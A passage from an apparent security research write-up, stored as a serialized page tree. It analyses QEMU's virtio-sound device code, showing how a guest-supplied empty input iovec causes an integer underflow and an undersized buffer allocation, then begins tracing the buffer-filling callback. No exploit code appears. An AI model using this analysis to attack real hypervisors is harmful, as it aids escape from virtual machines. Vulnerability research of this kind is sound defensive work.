",{"type":23,"tag":481,"props":121621,"children":121622},{"style":514},[121623],{"type":28,"value":603},{"type":23,"tag":481,"props":121625,"children":121626},{"style":610},[121627],{"type":28,"value":121628}," iov_size",{"type":23,"tag":481,"props":121630,"children":121631},{"style":525},[121632],{"type":28,"value":618},{"type":23,"tag":481,"props":121634,"children":121635},{"style":508},[121636],{"type":28,"value":49590},{"type":23,"tag":481,"props":121638,"children":121639},{"style":525},[121640],{"type":28,"value":11245},{"type":23,"tag":481,"props":121642,"children":121643},{"style":508},[121644],{"type":28,"value":121645},"in_sg",{"type":23,"tag":481,"props":121647,"children":121648},{"style":525},[121649],{"type":28,"value":588},{"type":23,"tag":481,"props":121651,"children":121652},{"style":508},[121653],{"type":28,"value":49590},{"type":23,"tag":481,"props":121655,"children":121656},{"style":525},[121657],{"type":28,"value":11245},{"type":23,"tag":481,"props":121659,"children":121660},{"style":508},[121661],{"type":28,"value":121662},"in_num",{"type":23,"tag":481,"props":121664,"children":121665},{"style":525},[121666],{"type":28,"value":598},{"type":23,"tag":481,"props":121668,"children":121669},{"style":514},[121670],{"type":28,"value":48387},{"type":23,"tag":481,"props":121672,"children":121673},{"class":483,"line":1377},[121674,121679,121684],{"type":23,"tag":481,"props":121675,"children":121676},{"style":497},[121677],{"type":28,"value":121678}," sizeof",{"type":23,"tag":481,"props":121680,"children":121681},{"style":525},[121682],{"type":28,"value":121683},"(virtio_snd_pcm_status);",{"type":23,"tag":481,"props":121685,"children":121686},{"style":488},[121687],{"type":28,"value":121688}," // [2]\n",{"type":23,"tag":481,"props":121690,"children":121691},{"class":483,"line":1437},[121692,121697,121701,121706,121710,121714,121719,121723],{"type":23,"tag":481,"props":121693,"children":121694},{"style":525},[121695],{"type":28,"value":121696}," buffer ",{"type":23,"tag":481,"props":121698,"children":121699},{"style":514},[121700],{"type":28,"value":603},{"type":23,"tag":481,"props":121702,"children":121703},{"style":610},[121704],{"type":28,"value":121705}," g_malloc0",{"type":23,"tag":481,"props":121707,"children":121708},{"style":525},[121709],{"type":28,"value":618},{"type":23,"tag":481,"props":121711,"children":121712},{"style":497},[121713],{"type":28,"value":52854},{"type":23,"tag":481,"props":121715,"children":121716},{"style":525},[121717],{"type":28,"value":121718},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":481,"props":121720,"children":121721},{"style":514},[121722],{"type":28,"value":1930},{"type":23,"tag":481,"props":121724,"children":121725},{"style":525},[121726],{"type":28,"value":121727}," size);\n",{"type":23,"tag":481,"props":121729,"children":121730},{"class":483,"line":6528},[121731,121736,121740,121744,121748],{"type":23,"tag":481,"props":121732,"children":121733},{"style":508},[121734],{"type":28,"value":121735}," buffer",{"type":23,"tag":481,"props":121737,"children":121738},{"style":525},[121739],{"type":28,"value":11245},{"type":23,"tag":481,"props":121741,"children":121742},{"style":508},[121743],{"type":28,"value":49590},{"type":23,"tag":481,"props":121745,"children":121746},{"style":514},[121747],{"type":28,"value":517},{"type":23,"tag":481,"props":121749,"children":121750},{"style":525},[121751],{"type":28,"value":121752}," elem;\n",{"type":23,"tag":481,"props":121754,"children":121755},{"class":483,"line":6546},[121756,121760,121764,121768,121772],{"type":23,"tag":481,"props":121757,"children":121758},{"style":508},[121759],{"type":28,"value":121735},{"type":23,"tag":481,"props":121761,"children":121762},{"style":525},[121763],{"type":28,"value":11245},{"type":23,"tag":481,"props":121765,"children":121766},{"style":508},[121767],{"type":28,"value":121404},{"type":23,"tag":481,"props":121769,"children":121770},{"style":514},[121771],{"type":28,"value":517},{"type":23,"tag":481,"props":121773,"children":121774},{"style":525},[121775],{"type":28,"value":121776}," vq;\n",{"type":23,"tag":481,"props":121778,"children":121779},{"class":483,"line":6591},[121780,121784,121788,121793,121797,121801],{"type":23,"tag":481,"props":121781,"children":121782},{"style":508},[121783],{"type":28,"value":121735},{"type":23,"tag":481,"props":121785,"children":121786},{"style":525},[121787],{"type":28,"value":11245},{"type":23,"tag":481,"props":121789,"children":121790},{"style":508},[121791],{"type":28,"value":121792},"size",{"type":23,"tag":481,"props":121794,"children":121795},{"style":514},[121796],{"type":28,"value":517},{"type":23,"tag":481,"props":121798,"children":121799},{"style":551},[121800],{"type":28,"value":554},{"type":23,"tag":481,"props":121802,"children":121803},{"style":525},[121804],{"type":28,"value":528},{"type":23,"tag":481,"props":121806,"children":121807},{"class":483,"line":6697},[121808,121812,121816,121820,121824,121828],{"type":23,"tag":481,"props":121809,"children":121810},{"style":508},[121811],{"type":28,"value":121735},{"type":23,"tag":481,"props":121813,"children":121814},{"style":525},[121815],{"type":28,"value":11245},{"type":23,"tag":481,"props":121817,"children":121818},{"style":508},[121819],{"type":28,"value":11389},{"type":23,"tag":481,"props":121821,"children":121822},{"style":514},[121823],{"type":28,"value":517},{"type":23,"tag":481,"props":121825,"children":121826},{"style":551},[121827],{"type":28,"value":554},{"type":23,"tag":481,"props":121829,"children":121830},{"style":525},[121831],{"type":28,"value":528},{"type":23,"tag":481,"props":121833,"children":121834},{"class":483,"line":21008},[121835,121840,121844,121848,121852,121856,121861,121866],{"type":23,"tag":481,"props":121836,"children":121837},{"style":610},[121838],{"type":28,"value":121839}," QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":481,"props":121841,"children":121842},{"style":525},[121843],{"type":28,"value":618},{"type":23,"tag":481,"props":121845,"children":121846},{"style":514},[121847],{"type":28,"value":623},{"type":23,"tag":481,"props":121849,"children":121850},{"style":508},[121851],{"type":28,"value":33779},{"type":23,"tag":481,"props":121853,"children":121854},{"style":525},[121855],{"type":28,"value":11245},{"type":23,"tag":481,"props":121857,"children":121858},{"style":508},[121859],{"type":28,"value":121860},"queue",{"type":23,"tag":481,"props":121862,"children":121863},{"style":525},[121864],{"type":28,"value":121865},", buffer, entry);",{"type":23,"tag":481,"props":121867,"children":121868},{"style":488},[121869],{"type":28,"value":50155},{"type":23,"tag":481,"props":121871,"children":121872},{"class":483,"line":21043},[121873],{"type":23,"tag":481,"props":121874,"children":121875},{"style":525},[121876],{"type":28,"value":870},{"type":23,"tag":481,"props":121878,"children":121879},{"class":483,"line":21051},[121880,121885],{"type":23,"tag":481,"props":121881,"children":121882},{"style":535},[121883],{"type":28,"value":121884}," continue",{"type":23,"tag":481,"props":121886,"children":121887},{"style":525},[121888],{"type":28,"value":528},{"type":23,"tag":481,"props":121890,"children":121891},{"class":483,"line":21059},[121892],{"type":23,"tag":481,"props":121893,"children":121894},{"emptyLinePlaceholder":15},[121895],{"type":28,"value":1210},{"type":23,"tag":481,"props":121897,"children":121898},{"class":483,"line":21068},[121899],{"type":23,"tag":481,"props":121900,"children":121901},{"style":525},[121902],{"type":28,"value":121571},{"type":23,"tag":481,"props":121904,"children":121905},{"class":483,"line":21110},[121906],{"type":23,"tag":481,"props":121907,"children":121908},{"style":525},[121909],{"type":28,"value":1443},{"type":23,"tag":24,"props":121911,"children":121912},{},[121913,121915,121921,121923,121929,121931,121936,121937,121943],{"type":28,"value":121914},"At ",{"type":23,"tag":64,"props":121916,"children":121918},{"className":121917},[],[121919],{"type":28,"value":121920},"[1]",{"type":28,"value":121922},", a ",{"type":23,"tag":64,"props":121924,"children":121926},{"className":121925},[],[121927],{"type":28,"value":121928},"VirtQueueElement *elem",{"type":28,"value":121930}," is popped from the virtqueue. It contains the ",{"type":23,"tag":64,"props":121932,"children":121934},{"className":121933},[],[121935],{"type":28,"value":121645},{"type":28,"value":8478},{"type":23,"tag":64,"props":121938,"children":121940},{"className":121939},[],[121941],{"type":28,"value":121942},"out_sg",{"type":28,"value":121944}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":24,"props":121946,"children":121947},{},[121948,121950,121956,121958,121964,121966,121972,121974,121980,121982,121988],{"type":28,"value":121949},"Further at ",{"type":23,"tag":64,"props":121951,"children":121953},{"className":121952},[],[121954],{"type":28,"value":121955},"[2]",{"type":28,"value":121957},", the device computes the size of the data buffer as ",{"type":23,"tag":64,"props":121959,"children":121961},{"className":121960},[],[121962],{"type":28,"value":121963},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":28,"value":121965},". That value is then used in the allocation: ",{"type":23,"tag":64,"props":121967,"children":121969},{"className":121968},[],[121970],{"type":28,"value":121971},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":28,"value":121973},". Finally, at ",{"type":23,"tag":64,"props":121975,"children":121977},{"className":121976},[],[121978],{"type":28,"value":121979},"[3]",{"type":28,"value":121981},", the newly allocated buffer is appended to the ",{"type":23,"tag":64,"props":121983,"children":121985},{"className":121984},[],[121986],{"type":28,"value":121987},"stream->queue",{"type":28,"value":121989}," linked list.",{"type":23,"tag":24,"props":121991,"children":121992},{},[121993,121995,122000,122002,122007,122009,122014,122016,122022],{"type":28,"value":121994},"Because both the ",{"type":23,"tag":64,"props":121996,"children":121998},{"className":121997},[],[121999],{"type":28,"value":121645},{"type":28,"value":122001}," iovec and the ",{"type":23,"tag":64,"props":122003,"children":122005},{"className":122004},[],[122006],{"type":28,"value":121662},{"type":28,"value":122008}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":64,"props":122010,"children":122012},{"className":122011},[],[122013],{"type":28,"value":121645},{"type":28,"value":122015}," size is at least ",{"type":23,"tag":64,"props":122017,"children":122019},{"className":122018},[],[122020],{"type":28,"value":122021},"sizeof(virtio_snd_pcm_status)",{"type":28,"value":122023},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":24,"props":122025,"children":122026},{},[122027,122029,122034,122036,122042,122044,122050,122052,122058],{"type":28,"value":122028},"From the guest driver, we can provide an empty ",{"type":23,"tag":64,"props":122030,"children":122032},{"className":122031},[],[122033],{"type":28,"value":121645},{"type":28,"value":122035}," iovec. In that case, the calculation becomes ",{"type":23,"tag":64,"props":122037,"children":122039},{"className":122038},[],[122040],{"type":28,"value":122041},"0 - sizeof(virtio_snd_pcm_status)",{"type":28,"value":122043},", so the allocation size effectively becomes ",{"type":23,"tag":64,"props":122045,"children":122047},{"className":122046},[],[122048],{"type":28,"value":122049},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":28,"value":122051},". Given the definition of ",{"type":23,"tag":64,"props":122053,"children":122055},{"className":122054},[],[122056],{"type":28,"value":122057},"VirtIOSoundPCMBuffer",{"type":28,"value":287},{"type":23,"tag":435,"props":122060,"children":122062},{"code":122061,"language":661,"meta":7,"className":14005,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[122063],{"type":23,"tag":64,"props":122064,"children":122065},{"__ignoreMap":7},[122066,122078,122091,122106,122123,122135,122147,122155,122167,122187],{"type":23,"tag":481,"props":122067,"children":122068},{"class":483,"line":484},[122069,122073],{"type":23,"tag":481,"props":122070,"children":122071},{"style":497},[122072],{"type":28,"value":6884},{"type":23,"tag":481,"props":122074,"children":122075},{"style":525},[122076],{"type":28,"value":122077}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":481,"props":122079,"children":122080},{"class":483,"line":351},[122081,122086],{"type":23,"tag":481,"props":122082,"children":122083},{"style":610},[122084],{"type":28,"value":122085}," QSIMPLEQ_ENTRY",{"type":23,"tag":481,"props":122087,"children":122088},{"style":525},[122089],{"type":28,"value":122090},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":481,"props":122092,"children":122093},{"class":483,"line":531},[122094,122098,122102],{"type":23,"tag":481,"props":122095,"children":122096},{"style":525},[122097],{"type":28,"value":121423},{"type":23,"tag":481,"props":122099,"children":122100},{"style":514},[122101],{"type":28,"value":2120},{"type":23,"tag":481,"props":122103,"children":122104},{"style":525},[122105],{"type":28,"value":121432},{"type":23,"tag":481,"props":122107,"children":122108},{"class":483,"line":567},[122109,122114,122118],{"type":23,"tag":481,"props":122110,"children":122111},{"style":525},[122112],{"type":28,"value":122113}," VirtQueue ",{"type":23,"tag":481,"props":122115,"children":122116},{"style":514},[122117],{"type":28,"value":2120},{"type":23,"tag":481,"props":122119,"children":122120},{"style":525},[122121],{"type":28,"value":122122},"vq;\n",{"type":23,"tag":481,"props":122124,"children":122125},{"class":483,"line":678},[122126,122130],{"type":23,"tag":481,"props":122127,"children":122128},{"style":497},[122129],{"type":28,"value":14055},{"type":23,"tag":481,"props":122131,"children":122132},{"style":525},[122133],{"type":28,"value":122134}," size;\n",{"type":23,"tag":481,"props":122136,"children":122137},{"class":483,"line":784},[122138,122142],{"type":23,"tag":481,"props":122139,"children":122140},{"style":497},[122141],{"type":28,"value":53139},{"type":23,"tag":481,"props":122143,"children":122144},{"style":525},[122145],{"type":28,"value":122146}," offset;\n",{"type":23,"tag":481,"props":122148,"children":122149},{"class":483,"line":812},[122150],{"type":23,"tag":481,"props":122151,"children":122152},{"style":488},[122153],{"type":28,"value":122154}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":481,"props":122156,"children":122157},{"class":483,"line":825},[122158,122162],{"type":23,"tag":481,"props":122159,"children":122160},{"style":497},[122161],{"type":28,"value":43997},{"type":23,"tag":481,"props":122163,"children":122164},{"style":525},[122165],{"type":28,"value":122166}," populated;\n",{"type":23,"tag":481,"props":122168,"children":122169},{"class":483,"line":843},[122170,122174,122178,122183],{"type":23,"tag":481,"props":122171,"children":122172},{"style":497},[122173],{"type":28,"value":55984},{"type":23,"tag":481,"props":122175,"children":122176},{"style":525},[122177],{"type":28,"value":12593},{"type":23,"tag":481,"props":122179,"children":122180},{"style":497},[122181],{"type":28,"value":122182},"[]",{"type":23,"tag":481,"props":122184,"children":122185},{"style":525},[122186],{"type":28,"value":528},{"type":23,"tag":481,"props":122188,"children":122189},{"class":483,"line":864},[122190],{"type":23,"tag":481,"props":122191,"children":122192},{"style":525},[122193],{"type":28,"value":14068},{"type":23,"tag":24,"props":122195,"children":122196},{},[122197,122199,122205,122207,122212,122214,122219,122221,122226,122228,122233,122235,122241],{"type":28,"value":122198},"That under-allocation removes the ",{"type":23,"tag":64,"props":122200,"children":122202},{"className":122201},[],[122203],{"type":28,"value":122204},"populated",{"type":28,"value":122206}," field along with the variable-sized ",{"type":23,"tag":64,"props":122208,"children":122210},{"className":122209},[],[122211],{"type":28,"value":1237},{"type":28,"value":122213}," array. As the comment says, ",{"type":23,"tag":64,"props":122215,"children":122217},{"className":122216},[],[122218],{"type":28,"value":122204},{"type":28,"value":122220}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":64,"props":122222,"children":122224},{"className":122223},[],[122225],{"type":28,"value":1558},{"type":28,"value":122227},", the device believes data should be ",{"type":23,"tag":64,"props":122229,"children":122231},{"className":122230},[],[122232],{"type":28,"value":1558},{"type":28,"value":122234}," byte, while the actual allocation is ",{"type":23,"tag":64,"props":122236,"children":122238},{"className":122237},[],[122239],{"type":28,"value":122240},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":28,"value":199},{"type":23,"tag":16388,"props":122243,"children":122245},{"id":122244},"populating-data-buffers",[122246],{"type":28,"value":122247},"Populating Data Buffers",{"type":23,"tag":24,"props":122249,"children":122250},{},[122251],{"type":28,"value":122252},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":435,"props":122254,"children":122256},{"code":122255,"language":661,"meta":7,"className":14005,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[122257],{"type":23,"tag":64,"props":122258,"children":122259},{"__ignoreMap":7},[122260,122267,122275,122282,122290,122298,122305,122354,122361,122387,122404,122416,122423,122455,122500,122540,122547,122555,122562,122587,122615,122639,122647,122659,122697,122710,122722,122729,122775,122812,122855,122876,122896,122916,122927,122934,122957,122973,122981,122988,122995,123002],{"type":23,"tag":481,"props":122261,"children":122262},{"class":483,"line":484},[122263],{"type":23,"tag":481,"props":122264,"children":122265},{"style":488},[122266],{"type":28,"value":46891},{"type":23,"tag":481,"props":122268,"children":122269},{"class":483,"line":351},[122270],{"type":23,"tag":481,"props":122271,"children":122272},{"style":488},[122273],{"type":28,"value":122274}," * AUD_* input callback.\n",{"type":23,"tag":481,"props":122276,"children":122277},{"class":483,"line":531},[122278],{"type":23,"tag":481,"props":122279,"children":122280},{"style":488},[122281],{"type":28,"value":16985},{"type":23,"tag":481,"props":122283,"children":122284},{"class":483,"line":567},[122285],{"type":23,"tag":481,"props":122286,"children":122287},{"style":488},[122288],{"type":28,"value":122289}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":481,"props":122291,"children":122292},{"class":483,"line":678},[122293],{"type":23,"tag":481,"props":122294,"children":122295},{"style":488},[122296],{"type":28,"value":122297}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":481,"props":122299,"children":122300},{"class":483,"line":784},[122301],{"type":23,"tag":481,"props":122302,"children":122303},{"style":488},[122304],{"type":28,"value":121360},{"type":23,"tag":481,"props":122306,"children":122307},{"class":483,"line":812},[122308,122312,122316,122321,122325,122329,122333,122337,122341,122345,122350],{"type":23,"tag":481,"props":122309,"children":122310},{"style":497},[122311],{"type":28,"value":48570},{"type":23,"tag":481,"props":122313,"children":122314},{"style":497},[122315],{"type":28,"value":48575},{"type":23,"tag":481,"props":122317,"children":122318},{"style":610},[122319],{"type":28,"value":122320}," virtio_snd_pcm_in_cb",{"type":23,"tag":481,"props":122322,"children":122323},{"style":525},[122324],{"type":28,"value":618},{"type":23,"tag":481,"props":122326,"children":122327},{"style":497},[122328],{"type":28,"value":49153},{"type":23,"tag":481,"props":122330,"children":122331},{"style":514},[122332],{"type":28,"value":7301},{"type":23,"tag":481,"props":122334,"children":122335},{"style":508},[122336],{"type":28,"value":1237},{"type":23,"tag":481,"props":122338,"children":122339},{"style":525},[122340],{"type":28,"value":588},{"type":23,"tag":481,"props":122342,"children":122343},{"style":497},[122344],{"type":28,"value":16543},{"type":23,"tag":481,"props":122346,"children":122347},{"style":508},[122348],{"type":28,"value":122349}," available",{"type":23,"tag":481,"props":122351,"children":122352},{"style":525},[122353],{"type":28,"value":675},{"type":23,"tag":481,"props":122355,"children":122356},{"class":483,"line":825},[122357],{"type":23,"tag":481,"props":122358,"children":122359},{"style":525},[122360],{"type":28,"value":8366},{"type":23,"tag":481,"props":122362,"children":122363},{"class":483,"line":843},[122364,122369,122373,122378,122382],{"type":23,"tag":481,"props":122365,"children":122366},{"style":525},[122367],{"type":28,"value":122368}," VirtIOSoundPCMStream ",{"type":23,"tag":481,"props":122370,"children":122371},{"style":514},[122372],{"type":28,"value":2120},{"type":23,"tag":481,"props":122374,"children":122375},{"style":525},[122376],{"type":28,"value":122377},"stream ",{"type":23,"tag":481,"props":122379,"children":122380},{"style":514},[122381],{"type":28,"value":603},{"type":23,"tag":481,"props":122383,"children":122384},{"style":525},[122385],{"type":28,"value":122386}," data;\n",{"type":23,"tag":481,"props":122388,"children":122389},{"class":483,"line":864},[122390,122395,122399],{"type":23,"tag":481,"props":122391,"children":122392},{"style":525},[122393],{"type":28,"value":122394}," VirtIOSoundPCMBuffer ",{"type":23,"tag":481,"props":122396,"children":122397},{"style":514},[122398],{"type":28,"value":2120},{"type":23,"tag":481,"props":122400,"children":122401},{"style":525},[122402],{"type":28,"value":122403},"buffer;\n",{"type":23,"tag":481,"props":122405,"children":122406},{"class":483,"line":873},[122407,122411],{"type":23,"tag":481,"props":122408,"children":122409},{"style":497},[122410],{"type":28,"value":14055},{"type":23,"tag":481,"props":122412,"children":122413},{"style":525},[122414],{"type":28,"value":122415}," size, max_size;\n",{"type":23,"tag":481,"props":122417,"children":122418},{"class":483,"line":1125},[122419],{"type":23,"tag":481,"props":122420,"children":122421},{"emptyLinePlaceholder":15},[122422],{"type":28,"value":1210},{"type":23,"tag":481,"props":122424,"children":122425},{"class":483,"line":1142},[122426,122431,122435,122439,122443,122447,122451],{"type":23,"tag":481,"props":122427,"children":122428},{"style":610},[122429],{"type":28,"value":122430}," WITH_QEMU_LOCK_GUARD",{"type":23,"tag":481,"props":122432,"children":122433},{"style":525},[122434],{"type":28,"value":618},{"type":23,"tag":481,"props":122436,"children":122437},{"style":514},[122438],{"type":28,"value":623},{"type":23,"tag":481,"props":122440,"children":122441},{"style":508},[122442],{"type":28,"value":33779},{"type":23,"tag":481,"props":122444,"children":122445},{"style":525},[122446],{"type":28,"value":11245},{"type":23,"tag":481,"props":122448,"children":122449},{"style":508},[122450],{"type":28,"value":121607},{"type":23,"tag":481,"props":122452,"children":122453},{"style":525},[122454],{"type":28,"value":12292},{"type":23,"tag":481,"props":122456,"children":122457},{"class":483,"line":1159},[122458,122463,122467,122471,122476,122480,122484,122488,122492,122496],{"type":23,"tag":481,"props":122459,"children":122460},{"style":535},[122461],{"type":28,"value":122462}," while",{"type":23,"tag":481,"props":122464,"children":122465},{"style":525},[122466],{"type":28,"value":578},{"type":23,"tag":481,"props":122468,"children":122469},{"style":514},[122470],{"type":28,"value":18119},{"type":23,"tag":481,"props":122472,"children":122473},{"style":610},[122474],{"type":28,"value":122475},"QSIMPLEQ_EMPTY",{"type":23,"tag":481,"props":122477,"children":122478},{"style":525},[122479],{"type":28,"value":618},{"type":23,"tag":481,"props":122481,"children":122482},{"style":514},[122483],{"type":28,"value":623},{"type":23,"tag":481,"props":122485,"children":122486},{"style":508},[122487],{"type":28,"value":33779},{"type":23,"tag":481,"props":122489,"children":122490},{"style":525},[122491],{"type":28,"value":11245},{"type":23,"tag":481,"props":122493,"children":122494},{"style":508},[122495],{"type":28,"value":121860},{"type":23,"tag":481,"props":122497,"children":122498},{"style":525},[122499],{"type":28,"value":32711},{"type":23,"tag":481,"props":122501,"children":122502},{"class":483,"line":1172},[122503,122507,122511,122516,122520,122524,122528,122532,122536],{"type":23,"tag":481,"props":122504,"children":122505},{"style":525},[122506],{"type":28,"value":121696},{"type":23,"tag":481,"props":122508,"children":122509},{"style":514},[122510],{"type":28,"value":603},{"type":23,"tag":481,"props":122512,"children":122513},{"style":610},[122514],{"type":28,"value":122515}," QSIMPLEQ_FIRST",{"type":23,"tag":481,"props":122517,"children":122518},{"style":525},[122519],{"type":28,"value":618},{"type":23,"tag":481,"props":122521,"children":122522},{"style":514},[122523],{"type":28,"value":623},{"type":23,"tag":481,"props":122525,"children":122526},{"style":508},[122527],{"type":28,"value":33779},{"type":23,"tag":481,"props":122529,"children":122530},{"style":525},[122531],{"type":28,"value":11245},{"type":23,"tag":481,"props":122533,"children":122534},{"style":508},[122535],{"type":28,"value":121860},{"type":23,"tag":481,"props":122537,"children":122538},{"style":525},[122539],{"type":28,"value":1366},{"type":23,"tag":481,"props":122541,"children":122542},{"class":483,"line":1181},[122543],{"type":23,"tag":481,"props":122544,"children":122545},{"emptyLinePlaceholder":15},[122546],{"type":28,"value":1210},{"type":23,"tag":481,"props":122548,"children":122549},{"class":483,"line":1204},[122550],{"type":23,"tag":481,"props":122551,"children":122552},{"style":525},[122553],{"type":28,"value":122554}," [...]\n",{"type":23,"tag":481,"props":122556,"children":122557},{"class":483,"line":1213},[122558],{"type":23,"tag":481,"props":122559,"children":122560},{"emptyLinePlaceholder":15},[122561],{"type":28,"value":1210},{"type":23,"tag":481,"props":122563,"children":122564},{"class":483,"line":1222},[122565,122570,122574,122578,122582],{"type":23,"tag":481,"props":122566,"children":122567},{"style":525},[122568],{"type":28,"value":122569}," max_size ",{"type":23,"tag":481,"props":122571,"children":122572},{"style":514},[122573],{"type":28,"value":603},{"type":23,"tag":481,"props":122575,"children":122576},{"style":610},[122577],{"type":28,"value":121628},{"type":23,"tag":481,"props":122579,"children":122580},{"style":525},[122581],{"type":28,"value":618},{"type":23,"tag":481,"props":122583,"children":122584},{"style":488},[122585],{"type":28,"value":122586}," // [1]\n",{"type":23,"tag":481,"props":122588,"children":122589},{"class":483,"line":1291},[122590,122595,122599,122603,122607,122611],{"type":23,"tag":481,"props":122591,"children":122592},{"style":508},[122593],{"type":28,"value":122594}," buffer",{"type":23,"tag":481,"props":122596,"children":122597},{"style":525},[122598],{"type":28,"value":11245},{"type":23,"tag":481,"props":122600,"children":122601},{"style":508},[122602],{"type":28,"value":49590},{"type":23,"tag":481,"props":122604,"children":122605},{"style":525},[122606],{"type":28,"value":11245},{"type":23,"tag":481,"props":122608,"children":122609},{"style":508},[122610],{"type":28,"value":121645},{"type":23,"tag":481,"props":122612,"children":122613},{"style":525},[122614],{"type":28,"value":1033},{"type":23,"tag":481,"props":122616,"children":122617},{"class":483,"line":1299},[122618,122622,122626,122630,122634],{"type":23,"tag":481,"props":122619,"children":122620},{"style":508},[122621],{"type":28,"value":122594},{"type":23,"tag":481,"props":122623,"children":122624},{"style":525},[122625],{"type":28,"value":11245},{"type":23,"tag":481,"props":122627,"children":122628},{"style":508},[122629],{"type":28,"value":49590},{"type":23,"tag":481,"props":122631,"children":122632},{"style":525},[122633],{"type":28,"value":11245},{"type":23,"tag":481,"props":122635,"children":122636},{"style":508},[122637],{"type":28,"value":122638},"in_num\n",{"type":23,"tag":481,"props":122640,"children":122641},{"class":483,"line":1329},[122642],{"type":23,"tag":481,"props":122643,"children":122644},{"style":525},[122645],{"type":28,"value":122646}," );\n",{"type":23,"tag":481,"props":122648,"children":122649},{"class":483,"line":1337},[122650,122655],{"type":23,"tag":481,"props":122651,"children":122652},{"style":535},[122653],{"type":28,"value":122654}," for",{"type":23,"tag":481,"props":122656,"children":122657},{"style":525},[122658],{"type":28,"value":121458},{"type":23,"tag":481,"props":122660,"children":122661},{"class":483,"line":1369},[122662,122666,122670,122675,122679,122683,122687,122692],{"type":23,"tag":481,"props":122663,"children":122664},{"style":535},[122665],{"type":28,"value":101052},{"type":23,"tag":481,"props":122667,"children":122668},{"style":525},[122669],{"type":28,"value":578},{"type":23,"tag":481,"props":122671,"children":122672},{"style":508},[122673],{"type":28,"value":122674},"buffer",{"type":23,"tag":481,"props":122676,"children":122677},{"style":525},[122678],{"type":28,"value":11245},{"type":23,"tag":481,"props":122680,"children":122681},{"style":508},[122682],{"type":28,"value":121792},{"type":23,"tag":481,"props":122684,"children":122685},{"style":514},[122686],{"type":28,"value":5781},{"type":23,"tag":481,"props":122688,"children":122689},{"style":525},[122690],{"type":28,"value":122691}," max_size) {",{"type":23,"tag":481,"props":122693,"children":122694},{"style":488},[122695],{"type":28,"value":122696}," // [2]\n",{"type":23,"tag":481,"props":122698,"children":122699},{"class":483,"line":1377},[122700,122705],{"type":23,"tag":481,"props":122701,"children":122702},{"style":610},[122703],{"type":28,"value":122704}," return_rx_buffer",{"type":23,"tag":481,"props":122706,"children":122707},{"style":525},[122708],{"type":28,"value":122709},"(stream, buffer);\n",{"type":23,"tag":481,"props":122711,"children":122712},{"class":483,"line":1437},[122713,122718],{"type":23,"tag":481,"props":122714,"children":122715},{"style":535},[122716],{"type":28,"value":122717}," break",{"type":23,"tag":481,"props":122719,"children":122720},{"style":525},[122721],{"type":28,"value":528},{"type":23,"tag":481,"props":122723,"children":122724},{"class":483,"line":6528},[122725],{"type":23,"tag":481,"props":122726,"children":122727},{"style":525},[122728],{"type":28,"value":68601},{"type":23,"tag":481,"props":122730,"children":122731},{"class":483,"line":6546},[122732,122737,122741,122746,122750,122754,122758,122763,122767,122771],{"type":23,"tag":481,"props":122733,"children":122734},{"style":525},[122735],{"type":28,"value":122736}," size ",{"type":23,"tag":481,"props":122738,"children":122739},{"style":514},[122740],{"type":28,"value":603},{"type":23,"tag":481,"props":122742,"children":122743},{"style":610},[122744],{"type":28,"value":122745}," AUD_read",{"type":23,"tag":481,"props":122747,"children":122748},{"style":525},[122749],{"type":28,"value":618},{"type":23,"tag":481,"props":122751,"children":122752},{"style":508},[122753],{"type":28,"value":33779},{"type":23,"tag":481,"props":122755,"children":122756},{"style":525},[122757],{"type":28,"value":11245},{"type":23,"tag":481,"props":122759,"children":122760},{"style":508},[122761],{"type":28,"value":122762},"voice",{"type":23,"tag":481,"props":122764,"children":122765},{"style":525},[122766],{"type":28,"value":199},{"type":23,"tag":481,"props":122768,"children":122769},{"style":508},[122770],{"type":28,"value":93030},{"type":23,"tag":481,"props":122772,"children":122773},{"style":525},[122774],{"type":28,"value":1033},{"type":23,"tag":481,"props":122776,"children":122777},{"class":483,"line":6591},[122778,122783,122787,122791,122795,122800,122804,122808],{"type":23,"tag":481,"props":122779,"children":122780},{"style":508},[122781],{"type":28,"value":122782}," buffer",{"type":23,"tag":481,"props":122784,"children":122785},{"style":525},[122786],{"type":28,"value":11245},{"type":23,"tag":481,"props":122788,"children":122789},{"style":508},[122790],{"type":28,"value":1237},{"type":23,"tag":481,"props":122792,"children":122793},{"style":514},[122794],{"type":28,"value":6385},{"type":23,"tag":481,"props":122796,"children":122797},{"style":508},[122798],{"type":28,"value":122799}," 